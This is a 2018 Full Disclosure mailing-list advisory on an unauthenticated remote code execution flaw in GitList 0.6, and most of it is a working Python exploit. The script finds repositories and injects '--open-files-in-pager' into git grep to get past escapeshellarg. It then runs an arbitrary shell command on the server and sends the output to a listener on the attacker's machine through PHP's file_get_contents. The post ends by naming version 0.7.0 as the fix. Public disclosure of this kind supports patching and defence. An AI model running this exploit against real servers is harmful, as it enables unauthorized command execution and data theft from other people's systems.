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Date: Thu, 26 Apr 2018 14:14:12 +0200
From: Kacper Szurek <kacperszurek@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] GitList 0.6 Unauthenticated RCE

# Exploit Title: GitList 0.6 Unauthenticated RCE
# Date: 25-04-2018
# Software Link: https://github.com/klaussilveira/gitlist
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote

1. Description

Bypass/Exploit `escapeshellarg` using argument injection: `git grep
--open-files-in-pager=whoami`.

More info about this technique:

https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html

2. Proof of Concept

```python
import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re

url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001

print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"

print "REMEMBER TO DISABLE FIREWALL"

search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)

if len(repos) == 0:
print "[-] No repos"
os._exit(0)

for repo in repos:
print "[+] Found repo {}".format(repo)
r = requests.get("{}{}".format(url, repo))
files = re.findall(r'href="[^\"]+blob/master/([^\"]+)"', r.text)
for file in files:
r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
print "[+] Found file {}".format(file)
print r.text[0:100]
search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])
break

if not search_url:
print "[-] No files in repo"
os._exit(0)

print "[+] Search using {}".format(search_url)

class GetHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = urlparse.urlparse(self.path)
        print "[+] Command response"
        print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
        self.send_response(200)
        self.end_headers()
        self.wfile.write("OK")
        os._exit(0)

    def log_message(self, format, *args):
        return

def exploit_server():
server = HTTPServer((your_ip, your_port), GetHandler)
server.serve_forever()

print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"

r  = requests.post(search_url,
data={'query':'--open-files-in-pager=php -r
"file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'.format(your_ip,
your_port, command)})

while True:
    time.sleep(1)
```

3. Solution:

Update to version 0.7.0

https://github.com/klaussilveira/gitlist/releases/tag/0.7.0

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